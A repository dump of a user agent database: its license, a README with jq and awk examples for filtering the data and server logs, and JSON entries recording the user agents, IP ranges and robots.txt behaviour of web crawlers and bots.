├── .github └── FUNDING.yml ├── LICENSE ├── README.md ├── data ├── 360Spider.json ├── AccompanyBot.json ├── AdsBot-Google.json ├── Adsbot.json ├── Ankit.json ├── Apache-HttpClient.json ├── Applebot.json ├── AspiegelBot.json ├── BLEXBot.json ├── BW_1_1.json ├── Baiduspider.json ├── BananaBot.json ├── Barkrowler.json ├── Birdcrawlerbot.json ├── Blackboard_Safeassign.json ├── BorneoBot.json ├── BuiltWith.json ├── CATExplorador.json ├── CCBot.json ├── CISPA_Webcrawler.json ├── CMS_Crawler.json ├── CensysInspect.json ├── CheckHost.json ├── CheckMarkNetwork.json ├── Cincraw.json ├── Clarabot.json ├── Cliqzbot.json ├── Cloud_mapping_experiment.json ├── CowBot.json ├── DF_Bot.json ├── Datanyze.json ├── Dataprovider.json ├── Dispatch.json ├── DomainStatsBot.json ├── Domains_Project.json ├── DotBot.json ├── DuckDuckBot-Https.json ├── DuckDuckGo-Favicons-Bot.json ├── Elisabot.json ├── Emacs_Elfeed.json ├── Faraday.json ├── FeedDaemon.json ├── FeedFetcher-Google.json ├── GarlikCrawler.json ├── Googlebot-Image.json ├── Googlebot-Video.json ├── Googlebot.json ├── HeadlessChrome.json ├── HealthCheckBot.json ├── Hello,_world.json ├── IndeedBot.json ├── Integrity.json ├── Internet-structure-research-project-bot.json ├── Java.json ├── JobboerseBot.json ├── KOCMOHABT.json ├── LCC.json ├── Leap.json ├── Let's_Encrypt_validation_server.json ├── LightspeedSystemsCrawler.json ├── Linguee_Bot.json ├── MJ12bot.json ├── Mail_RU_Bot.json ├── MauiBot.json ├── MegaIndex_ru.json ├── MetaJobBot.json ├── MixrankBot.json ├── MozacFetch.json ├── Mozlila.json ├── NetNewsWire.json ├── News_Explorer.json ├── Nimbostratus-Bot.json ├── Nutch.json ├── OnalyticaBot.json ├── OrgProbe.json ├── PageThing.json ├── Pandalytics.json ├── Panscient.json ├── PetalBot.json ├── Photon.json ├── Pinterest.json ├── Pinterestbot.json ├── Plukkie.json ├── Python-urllib.json ├── Qwantify.json ├── Researchscan.json ├── RestSharp.json ├── Riddler.json ├── RobotsChecker.json ├── Ruby.json ├── RyteBot.json ├── SEOlizer.json ├── SMTBot.json ├── SSL_Labs.json ├── SWRLinkchecker.json ├── Scrapy.json ├── Screaming_Frog_SEO_Spider.json ├── SearchAtlas_com_SEO_Crawler.json ├── Seekport_Crawler.json ├── SemrushBot.json ├── Semtix_cz.json ├── SeoChecker.json ├── SeznamBot.json ├── SkypeUriPreview.json ├── Slack-ImgProxy.json ├── Slackbot-LinkExpanding.json ├── Slackbot.json ├── Sogou_web_spider.json ├── Sophora.json ├── Spider2_0.json ├── SpiderLing.json ├── SurdotlyBot.json ├── TelegramBot.json ├── Testcrawler.json ├── The_Knowledge_AI.json ├── Tiny_Tiny_RSS.json ├── TprAdsTxtCrawler.json ├── TweetmemeBot.json ├── Twingly_Recon.json ├── UniversalFeedParser.json ├── UptimeRobot.json ├── VelenPublicWebCrawler.json ├── VsuSearchSpider.json ├── W3C_Validator.json ├── Wappalyzer.json ├── Wget.json ├── Who_is_Bot.json ├── WinHttp.json ├── XTC.json ├── Xenu_Link_Sleuth.json ├── YandexBot.json ├── YandexMobileBot.json ├── Yeti.json ├── ZoomBot.json ├── ZoominfoBot.json ├── adidxbot.json ├── adscanner.json ├── adstxt_com.json ├── aiHitBot.json ├── aiohttp.json ├── archive_org_bot.json ├── axios.json ├── bingbot.json ├── botnet.json ├── chimebot.json ├── coccocbot-image.json ├── coccocbot-web.json ├── crawler4j.json ├── curb.json ├── curl.json ├── drupalfinder.json ├── eContext.json ├── eZ_Publish_Link_Validator.json ├── finbot.json ├── gobyus.json ├── gocrawl.json ├── heritrix.json ├── http_rb.json ├── ia_archiver.json ├── ips-agent.json ├── libwww-perl.json ├── link_thumbnailer.json ├── ltx71.json ├── lua-resty-http.json ├── masscan.json ├── mindUpBot.json ├── myseosnapshot.json ├── netEstate_NE_Crawler.json ├── newspaper.json ├── node-fetch.json ├── oBot.json ├── pimeyes_com_crawler.json ├── polaris_botnet.json ├── python-requests.json ├── shopify-partner-homepage-scraper.json ├── special_archiver.json ├── spider.json ├── tracemyfile.json ├── webtech.json ├── webtechbot.json ├── woorankreview.json ├── www_deadlinkchecker_com.json ├── yacybot.json └── zgrab.json ├── indexes ├── category_index.json └── type_index.json ├── new.sh └── template.json /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: herrbischoff 2 | custom: https://www.gofundme.com/f/women-empowerment-in-zanzibar 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Attribution-NonCommercial-ShareAlike 4.0 International 2 | 3 | ======================================================================= 4 | 5 | Creative Commons Corporation ("Creative Commons") is not a law firm and 6 | does not provide legal services or legal advice. Distribution of 7 | Creative Commons public licenses does not create a lawyer-client or 8 | other relationship. Creative Commons makes its licenses and related 9 | information available on an "as-is" basis. Creative Commons gives no 10 | warranties regarding its licenses, any material licensed under their 11 | terms and conditions, or any related information. Creative Commons 12 | disclaims all liability for damages resulting from their use to the 13 | fullest extent possible. 14 | 15 | Using Creative Commons Public Licenses 16 | 17 | Creative Commons public licenses provide a standard set of terms and 18 | conditions that creators and other rights holders may use to share 19 | original works of authorship and other material subject to copyright 20 | and certain other rights specified in the public license below. The 21 | following considerations are for informational purposes only, are not 22 | exhaustive, and do not form part of our licenses. 23 | 24 | Considerations for licensors: Our public licenses are 25 | intended for use by those authorized to give the public 26 | permission to use material in ways otherwise restricted by 27 | copyright and certain other rights. Our licenses are 28 | irrevocable. Licensors should read and understand the terms 29 | and conditions of the license they choose before applying it. 30 | Licensors should also secure all rights necessary before 31 | applying our licenses so that the public can reuse the 32 | material as expected. Licensors should clearly mark any 33 | material not subject to the license. This includes other CC- 34 | licensed material, or material used under an exception or 35 | limitation to copyright. More considerations for licensors: 36 | wiki.creativecommons.org/Considerations_for_licensors 37 | 38 | Considerations for the public: By using one of our public 39 | licenses, a licensor grants the public permission to use the 40 | licensed material under specified terms and conditions. If 41 | the licensor's permission is not necessary for any reason--for 42 | example, because of any applicable exception or limitation to 43 | copyright--then that use is not regulated by the license. Our 44 | licenses grant only permissions under copyright and certain 45 | other rights that a licensor has authority to grant. Use of 46 | the licensed material may still be restricted for other 47 | reasons, including because others have copyright or other 48 | rights in the material. A licensor may make special requests, 49 | such as asking that all changes be marked or described. 50 | Although not required by our licenses, you are encouraged to 51 | respect those requests where reasonable. More considerations 52 | for the public: 53 | wiki.creativecommons.org/Considerations_for_licensees 54 | 55 | ======================================================================= 56 | 57 | Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International 58 | Public License 59 | 60 | By exercising the Licensed Rights (defined below), You accept and agree 61 | to be bound by the terms and conditions of this Creative Commons 62 | Attribution-NonCommercial-ShareAlike 4.0 International Public License 63 | ("Public License"). To the extent this Public License may be 64 | interpreted as a contract, You are granted the Licensed Rights in 65 | consideration of Your acceptance of these terms and conditions, and the 66 | Licensor grants You such rights in consideration of benefits the 67 | Licensor receives from making the Licensed Material available under 68 | these terms and conditions. 69 | 70 | 71 | Section 1 -- Definitions. 72 | 73 | a. Adapted Material means material subject to Copyright and Similar 74 | Rights that is derived from or based upon the Licensed Material 75 | and in which the Licensed Material is translated, altered, 76 | arranged, transformed, or otherwise modified in a manner requiring 77 | permission under the Copyright and Similar Rights held by the 78 | Licensor. For purposes of this Public License, where the Licensed 79 | Material is a musical work, performance, or sound recording, 80 | Adapted Material is always produced where the Licensed Material is 81 | synched in timed relation with a moving image. 82 | 83 | b. Adapter's License means the license You apply to Your Copyright 84 | and Similar Rights in Your contributions to Adapted Material in 85 | accordance with the terms and conditions of this Public License. 86 | 87 | c. BY-NC-SA Compatible License means a license listed at 88 | creativecommons.org/compatiblelicenses, approved by Creative 89 | Commons as essentially the equivalent of this Public License. 90 | 91 | d. Copyright and Similar Rights means copyright and/or similar rights 92 | closely related to copyright including, without limitation, 93 | performance, broadcast, sound recording, and Sui Generis Database 94 | Rights, without regard to how the rights are labeled or 95 | categorized. For purposes of this Public License, the rights 96 | specified in Section 2(b)(1)-(2) are not Copyright and Similar 97 | Rights. 98 | 99 | e. Effective Technological Measures means those measures that, in the 100 | absence of proper authority, may not be circumvented under laws 101 | fulfilling obligations under Article 11 of the WIPO Copyright 102 | Treaty adopted on December 20, 1996, and/or similar international 103 | agreements. 104 | 105 | f. Exceptions and Limitations means fair use, fair dealing, and/or 106 | any other exception or limitation to Copyright and Similar Rights 107 | that applies to Your use of the Licensed Material. 108 | 109 | g. License Elements means the license attributes listed in the name 110 | of a Creative Commons Public License. The License Elements of this 111 | Public License are Attribution, NonCommercial, and ShareAlike. 112 | 113 | h. Licensed Material means the artistic or literary work, database, 114 | or other material to which the Licensor applied this Public 115 | License. 116 | 117 | i. Licensed Rights means the rights granted to You subject to the 118 | terms and conditions of this Public License, which are limited to 119 | all Copyright and Similar Rights that apply to Your use of the 120 | Licensed Material and that the Licensor has authority to license. 121 | 122 | j. Licensor means the individual(s) or entity(ies) granting rights 123 | under this Public License. 124 | 125 | k. NonCommercial means not primarily intended for or directed towards 126 | commercial advantage or monetary compensation. For purposes of 127 | this Public License, the exchange of the Licensed Material for 128 | other material subject to Copyright and Similar Rights by digital 129 | file-sharing or similar means is NonCommercial provided there is 130 | no payment of monetary compensation in connection with the 131 | exchange. 132 | 133 | l. Share means to provide material to the public by any means or 134 | process that requires permission under the Licensed Rights, such 135 | as reproduction, public display, public performance, distribution, 136 | dissemination, communication, or importation, and to make material 137 | available to the public including in ways that members of the 138 | public may access the material from a place and at a time 139 | individually chosen by them. 140 | 141 | m. Sui Generis Database Rights means rights other than copyright 142 | resulting from Directive 96/9/EC of the European Parliament and of 143 | the Council of 11 March 1996 on the legal protection of databases, 144 | as amended and/or succeeded, as well as other essentially 145 | equivalent rights anywhere in the world. 146 | 147 | n. You means the individual or entity exercising the Licensed Rights 148 | under this Public License. Your has a corresponding meaning. 149 | 150 | 151 | Section 2 -- Scope. 152 | 153 | a. License grant. 154 | 155 | 1. Subject to the terms and conditions of this Public License, 156 | the Licensor hereby grants You a worldwide, royalty-free, 157 | non-sublicensable, non-exclusive, irrevocable license to 158 | exercise the Licensed Rights in the Licensed Material to: 159 | 160 | a. reproduce and Share the Licensed Material, in whole or 161 | in part, for NonCommercial purposes only; and 162 | 163 | b. produce, reproduce, and Share Adapted Material for 164 | NonCommercial purposes only. 165 | 166 | 2. Exceptions and Limitations. For the avoidance of doubt, where 167 | Exceptions and Limitations apply to Your use, this Public 168 | License does not apply, and You do not need to comply with 169 | its terms and conditions. 170 | 171 | 3. Term. The term of this Public License is specified in Section 172 | 6(a). 173 | 174 | 4. Media and formats; technical modifications allowed. The 175 | Licensor authorizes You to exercise the Licensed Rights in 176 | all media and formats whether now known or hereafter created, 177 | and to make technical modifications necessary to do so. The 178 | Licensor waives and/or agrees not to assert any right or 179 | authority to forbid You from making technical modifications 180 | necessary to exercise the Licensed Rights, including 181 | technical modifications necessary to circumvent Effective 182 | Technological Measures. For purposes of this Public License, 183 | simply making modifications authorized by this Section 2(a) 184 | (4) never produces Adapted Material. 185 | 186 | 5. Downstream recipients. 187 | 188 | a. Offer from the Licensor -- Licensed Material. Every 189 | recipient of the Licensed Material automatically 190 | receives an offer from the Licensor to exercise the 191 | Licensed Rights under the terms and conditions of this 192 | Public License. 193 | 194 | b. Additional offer from the Licensor -- Adapted Material. 195 | Every recipient of Adapted Material from You 196 | automatically receives an offer from the Licensor to 197 | exercise the Licensed Rights in the Adapted Material 198 | under the conditions of the Adapter's License You apply. 199 | 200 | c. No downstream restrictions. You may not offer or impose 201 | any additional or different terms or conditions on, or 202 | apply any Effective Technological Measures to, the 203 | Licensed Material if doing so restricts exercise of the 204 | Licensed Rights by any recipient of the Licensed 205 | Material. 206 | 207 | 6. No endorsement. Nothing in this Public License constitutes or 208 | may be construed as permission to assert or imply that You 209 | are, or that Your use of the Licensed Material is, connected 210 | with, or sponsored, endorsed, or granted official status by, 211 | the Licensor or others designated to receive attribution as 212 | provided in Section 3(a)(1)(A)(i). 213 | 214 | b. Other rights. 215 | 216 | 1. Moral rights, such as the right of integrity, are not 217 | licensed under this Public License, nor are publicity, 218 | privacy, and/or other similar personality rights; however, to 219 | the extent possible, the Licensor waives and/or agrees not to 220 | assert any such rights held by the Licensor to the limited 221 | extent necessary to allow You to exercise the Licensed 222 | Rights, but not otherwise. 223 | 224 | 2. Patent and trademark rights are not licensed under this 225 | Public License. 226 | 227 | 3. To the extent possible, the Licensor waives any right to 228 | collect royalties from You for the exercise of the Licensed 229 | Rights, whether directly or through a collecting society 230 | under any voluntary or waivable statutory or compulsory 231 | licensing scheme. In all other cases the Licensor expressly 232 | reserves any right to collect such royalties, including when 233 | the Licensed Material is used other than for NonCommercial 234 | purposes. 235 | 236 | 237 | Section 3 -- License Conditions. 238 | 239 | Your exercise of the Licensed Rights is expressly made subject to the 240 | following conditions. 241 | 242 | a. Attribution. 243 | 244 | 1. If You Share the Licensed Material (including in modified 245 | form), You must: 246 | 247 | a. retain the following if it is supplied by the Licensor 248 | with the Licensed Material: 249 | 250 | i. identification of the creator(s) of the Licensed 251 | Material and any others designated to receive 252 | attribution, in any reasonable manner requested by 253 | the Licensor (including by pseudonym if 254 | designated); 255 | 256 | ii. a copyright notice; 257 | 258 | iii. a notice that refers to this Public License; 259 | 260 | iv. a notice that refers to the disclaimer of 261 | warranties; 262 | 263 | v. a URI or hyperlink to the Licensed Material to the 264 | extent reasonably practicable; 265 | 266 | b. indicate if You modified the Licensed Material and 267 | retain an indication of any previous modifications; and 268 | 269 | c. indicate the Licensed Material is licensed under this 270 | Public License, and include the text of, or the URI or 271 | hyperlink to, this Public License. 272 | 273 | 2. You may satisfy the conditions in Section 3(a)(1) in any 274 | reasonable manner based on the medium, means, and context in 275 | which You Share the Licensed Material. For example, it may be 276 | reasonable to satisfy the conditions by providing a URI or 277 | hyperlink to a resource that includes the required 278 | information. 279 | 3. If requested by the Licensor, You must remove any of the 280 | information required by Section 3(a)(1)(A) to the extent 281 | reasonably practicable. 282 | 283 | b. ShareAlike. 284 | 285 | In addition to the conditions in Section 3(a), if You Share 286 | Adapted Material You produce, the following conditions also apply. 287 | 288 | 1. The Adapter's License You apply must be a Creative Commons 289 | license with the same License Elements, this version or 290 | later, or a BY-NC-SA Compatible License. 291 | 292 | 2. You must include the text of, or the URI or hyperlink to, the 293 | Adapter's License You apply. You may satisfy this condition 294 | in any reasonable manner based on the medium, means, and 295 | context in which You Share Adapted Material. 296 | 297 | 3. You may not offer or impose any additional or different terms 298 | or conditions on, or apply any Effective Technological 299 | Measures to, Adapted Material that restrict exercise of the 300 | rights granted under the Adapter's License You apply. 301 | 302 | 303 | Section 4 -- Sui Generis Database Rights. 304 | 305 | Where the Licensed Rights include Sui Generis Database Rights that 306 | apply to Your use of the Licensed Material: 307 | 308 | a. for the avoidance of doubt, Section 2(a)(1) grants You the right 309 | to extract, reuse, reproduce, and Share all or a substantial 310 | portion of the contents of the database for NonCommercial purposes 311 | only; 312 | 313 | b. if You include all or a substantial portion of the database 314 | contents in a database in which You have Sui Generis Database 315 | Rights, then the database in which You have Sui Generis Database 316 | Rights (but not its individual contents) is Adapted Material, 317 | including for purposes of Section 3(b); and 318 | 319 | c. You must comply with the conditions in Section 3(a) if You Share 320 | all or a substantial portion of the contents of the database. 321 | 322 | For the avoidance of doubt, this Section 4 supplements and does not 323 | replace Your obligations under this Public License where the Licensed 324 | Rights include other Copyright and Similar Rights. 325 | 326 | 327 | Section 5 -- Disclaimer of Warranties and Limitation of Liability. 328 | 329 | a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE 330 | EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS 331 | AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF 332 | ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, 333 | IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, 334 | WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR 335 | PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, 336 | ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT 337 | KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT 338 | ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. 339 | 340 | b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE 341 | TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, 342 | NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, 343 | INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, 344 | COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR 345 | USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN 346 | ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR 347 | DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR 348 | IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. 349 | 350 | c. The disclaimer of warranties and limitation of liability provided 351 | above shall be interpreted in a manner that, to the extent 352 | possible, most closely approximates an absolute disclaimer and 353 | waiver of all liability. 354 | 355 | 356 | Section 6 -- Term and Termination. 357 | 358 | a. This Public License applies for the term of the Copyright and 359 | Similar Rights licensed here. However, if You fail to comply with 360 | this Public License, then Your rights under this Public License 361 | terminate automatically. 362 | 363 | b. Where Your right to use the Licensed Material has terminated under 364 | Section 6(a), it reinstates: 365 | 366 | 1. automatically as of the date the violation is cured, provided 367 | it is cured within 30 days of Your discovery of the 368 | violation; or 369 | 370 | 2. upon express reinstatement by the Licensor. 371 | 372 | For the avoidance of doubt, this Section 6(b) does not affect any 373 | right the Licensor may have to seek remedies for Your violations 374 | of this Public License. 375 | 376 | c. For the avoidance of doubt, the Licensor may also offer the 377 | Licensed Material under separate terms or conditions or stop 378 | distributing the Licensed Material at any time; however, doing so 379 | will not terminate this Public License. 380 | 381 | d. Sections 1, 5, 6, 7, and 8 survive termination of this Public 382 | License. 383 | 384 | 385 | Section 7 -- Other Terms and Conditions. 386 | 387 | a. The Licensor shall not be bound by any additional or different 388 | terms or conditions communicated by You unless expressly agreed. 389 | 390 | b. Any arrangements, understandings, or agreements regarding the 391 | Licensed Material not stated herein are separate from and 392 | independent of the terms and conditions of this Public License. 393 | 394 | 395 | Section 8 -- Interpretation. 396 | 397 | a. For the avoidance of doubt, this Public License does not, and 398 | shall not be interpreted to, reduce, limit, restrict, or impose 399 | conditions on any use of the Licensed Material that could lawfully 400 | be made without permission under this Public License. 401 | 402 | b. To the extent possible, if any provision of this Public License is 403 | deemed unenforceable, it shall be automatically reformed to the 404 | minimum extent necessary to make it enforceable. If the provision 405 | cannot be reformed, it shall be severed from this Public License 406 | without affecting the enforceability of the remaining terms and 407 | conditions. 408 | 409 | c. No term or condition of this Public License will be waived and no 410 | failure to comply consented to unless expressly agreed to by the 411 | Licensor. 412 | 413 | d. Nothing in this Public License constitutes or may be interpreted 414 | as a limitation upon, or waiver of, any privileges and immunities 415 | that apply to the Licensor or You, including from the legal 416 | processes of any jurisdiction or authority. 417 | 418 | ======================================================================= 419 | 420 | Creative Commons is not a party to its public 421 | licenses. Notwithstanding, Creative Commons may elect to apply one of 422 | its public licenses to material it publishes and in those instances 423 | will be considered the “Licensor.” The text of the Creative Commons 424 | public licenses is dedicated to the public domain under the CC0 Public 425 | Domain Dedication. Except for the limited purpose of indicating that 426 | material is shared under a Creative Commons public license or as 427 | otherwise permitted by the Creative Commons policies published at 428 | creativecommons.org/policies, Creative Commons does not authorize the 429 | use of the trademark "Creative Commons" or any other trademark or logo 430 | of Creative Commons without its prior written consent including, 431 | without limitation, in connection with any unauthorized modifications 432 | to any of its public licenses or any other arrangements, 433 | understandings, or agreements concerning use of licensed material. For 434 | the avoidance of doubt, this paragraph does not form part of the 435 | public licenses. 436 | 437 | Creative Commons may be contacted at creativecommons.org. 438 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # User Agent Database 2 | 3 | ## Women Empowerment in Zanzibar 4 | 5 | Send a little karma down the way and support women empowerment in Zanzibar by 6 | helping to [fund the local production of reusable female hygiene 7 | products](https://www.gofundme.com/f/women-empowerment-in-zanzibar). A very 8 | dear friend of mine runs the project. They were already able to buy hundreds of 9 | educational books. Sometimes, it takes so little to make a huge impact. If 10 | you'd like to thank me or support this work, donate. Additionally, any current 11 | and future sponsoring of my work via GitHub or other channels will flow one 12 | hundred percent to the NGO. 13 | 14 | ## About 15 | 16 | This is a constantly updated collection of user agents I encountered while 17 | running web servers on the internet. It's not an exhaustive list. It instead 18 | focuses on bots, crawlers, certain malware, automated software, scripts and 19 | uncommon ones. Lists of regular browser user agents are available elsewhere 20 | and too numerous to sanely and cleanly manage. 21 | 22 | ## Usage 23 | 24 | There are lots of use cases for user agent information, especially when parsing 25 | web server logs. Below are some examples that illustrate how to quickly get 26 | filtered information out of this data set using the excellent [jq][jq] 27 | command-line tool. 28 | 29 | ### Get SEO User Agents 30 | ``` 31 | cat data/*.json | jq -r 'select(.category==7) | .user_agents[]' 32 | ``` 33 | 34 | ### Get Chinese Crawlers 35 | ``` 36 | cat data/*.json | jq -r 'select(.country=="CN") | select(.type==2) | .user_agents[]' 37 | ``` 38 | 39 | ### Get Suspicious CIDRs 40 | ``` 41 | cat data/*.json | jq -r 'select(.type==99) | .known_cidrs[]' 42 | ``` 43 | 44 | ## Contributing 45 | 46 | To get a list of all encountered user agents you can run a command like 47 | ``` 48 | cat /var/log/nginx/* | awk -F\" '{print $6}' | sort -u > uas.txt 49 | ``` 50 | * Create a single file JSON entry per entity. Use `template.json` to start. The 51 | `new.sh` helper script is great for this. 52 | * Index codes are listed in folder `indexes`. 53 | * Fill out as much information as possible, use existing entries for reference. 54 | Be especially thorough regarding country, website and description. 55 | * Format with Prettier. The default style is sufficient. You can do so by 56 | installing it (`npm install -g prettier`) and running `prettier --write 57 | entry.json`. 58 | * If there are multiple mostly identical user agent strings for an entry, 59 | restrict to one example per major [semantic version][semver]. 60 | * All array entries are sorted, alphabetically and numerically. 61 | * If `country` does not apply or is international, use `"ZZ"` and `null` when 62 | not applicable. 63 | * `null` is to be interpreted as "not applicable" or "unknown", depending on 64 | context. 65 | 66 | ## License 67 | 68 | Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. 69 | 70 | The data is completely free for personal, non-commercial usage, including FOSS 71 | projects. If you plan to include it in a product you earn money on or use for 72 | infrastructure you earn money with, I welcome your decision. However, you will 73 | need to license it by becoming a permanent [top-tier GitHub sponsor][sponsor]. 74 | If this is too steep for you, [let me know][email] and we'll talk. 75 | 76 | [jq]: https://stedolan.github.io/jq/ 77 | [semver]: https://semver.org 78 | [sponsor]: https://github.com/sponsors/herrbischoff 79 | [email]: mailto:marcel@herrbischoff.com 80 | -------------------------------------------------------------------------------- /data/360Spider.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "Judging from the IPs used probably a Chinese crawler.", 4 | "country": "CN", 5 | "description": "", 6 | "id": "360Spider", 7 | "known_cidrs": [ 8 | "42.236.12.130/32", 9 | "42.236.12.190/32", 10 | "42.236.31.142/32", 11 | "42.236.55.41/32", 12 | "42.236.99.58/32", 13 | "42.236.99.65/32", 14 | "42.236.99.142/32", 15 | "42.236.99.154/32", 16 | "42.236.102.23/32" 17 | ], 18 | "last_updated": "2020-08-06", 19 | "robotstxt": { 20 | "downloads": false, 21 | "respects": false, 22 | "should": true 23 | }, 24 | "type": 99, 25 | "user_agents": [ 26 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.4.2661.102 Safari/537.36; 360Spider" 27 | ], 28 | "website": { 29 | "reachable": false, 30 | "url": "" 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /data/AccompanyBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "AI-driven relationship intelligence platform.", 6 | "id": "AccompanyBot", 7 | "known_cidrs": [ 8 | "104.243.199.133/32", 9 | "104.243.195.69/32", 10 | "142.252.78.22/32", 11 | "142.252.77.217/32", 12 | "142.252.78.151/32", 13 | "198.240.123.28/32", 14 | "207.188.146.30/32", 15 | "207.188.150.36/32", 16 | "207.188.160.38/32", 17 | "207.188.146.144/32" 18 | ], 19 | "last_updated": "2020-08-06", 20 | "robotstxt": { 21 | "downloads": false, 22 | "respects": false, 23 | "should": true 24 | }, 25 | "type": 0, 26 | "user_agents": ["AccompanyBot"], 27 | "website": { 28 | "reachable": true, 29 | "url": "https://www.accompany.com" 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /data/AdsBot-Google.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 2, 3 | "comments": "The user agent is not listed on the information website but originates from Google and clears reverse DNS checks.", 4 | "country": "US", 5 | "description": "Checks desktop web page ad quality.", 6 | "id": "AdsBot-Google", 7 | "known_cidrs": ["66.249.83.197/32", "66.249.83.217/32"], 8 | "last_updated": "2020-08-16", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "AdsBot-Google (+http://www.google.com/adsbot.html)", 17 | "Google-Adwords-Instant (+http://www.google.com/adsbot.html)" 18 | ], 19 | "website": { 20 | "reachable": true, 21 | "url": "http://www.google.com/adsbot.html" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /data/Adsbot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "No public information available. All IPs point to webnx.com.", 4 | "country": "US", 5 | "description": "", 6 | "id": "Adsbot", 7 | "known_cidrs": [ 8 | "173.231.59.195/32", 9 | "173.231.59.196/31", 10 | "173.231.59.198/32", 11 | "173.231.59.208/31", 12 | "173.231.59.210/32", 13 | "173.231.59.212/32", 14 | "173.231.59.216/32", 15 | "173.231.59.218/32", 16 | "216.18.204.138/32", 17 | "216.18.204.140/32", 18 | "216.18.204.143/32", 19 | "216.18.204.149/32", 20 | "216.18.204.153/32", 21 | "216.18.204.155/32" 22 | ], 23 | "last_updated": "2020-08-06", 24 | "robotstxt": { 25 | "downloads": true, 26 | "respects": false, 27 | "should": true 28 | }, 29 | "type": 99, 30 | "user_agents": ["Mozilla/5.0 (compatible; Adsbot/3.1)"], 31 | "website": { 32 | "reachable": false, 33 | "url": "" 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /data/Ankit.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "Probably malware. Sends exclusively \"POST /cgi-bin/ViewLog.asp HTTP/1.1\" requests.", 6 | "id": "Ankit", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 99, 15 | "user_agents": ["Ankit"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Apache-HttpClient.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "HTTP/1.1 compliant HTTP agent implementation based on HttpCore.", 6 | "id": "Apache-HttpClient", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["Apache-HttpClient/4.5.12 (Java/14.0.1)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://hc.apache.org/httpcomponents-asyncclient-dev/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Applebot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Web crawler for Apple products like Siri and Spotlight Suggestions.", 6 | "id": "Applebot", 7 | "known_cidrs": ["17.58.96.0/22", "17.58.100.0/23"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)", 17 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 18 | ], 19 | "website": { 20 | "reachable": true, 21 | "url": "http://www.apple.com/go/applebot" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /data/AspiegelBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "CN", 5 | "description": "Chinese search engine operated by Huawei.", 6 | "id": "AspiegelBot", 7 | "known_cidrs": [ 8 | "114.119.160.0/24", 9 | "114.119.161.0/24", 10 | "114.119.162.0/24", 11 | "114.119.163.0/24", 12 | "114.119.164.0/24", 13 | "114.119.165.0/24", 14 | "114.119.166.0/24", 15 | "114.119.167.0/24" 16 | ], 17 | "last_updated": "2020-08-06", 18 | 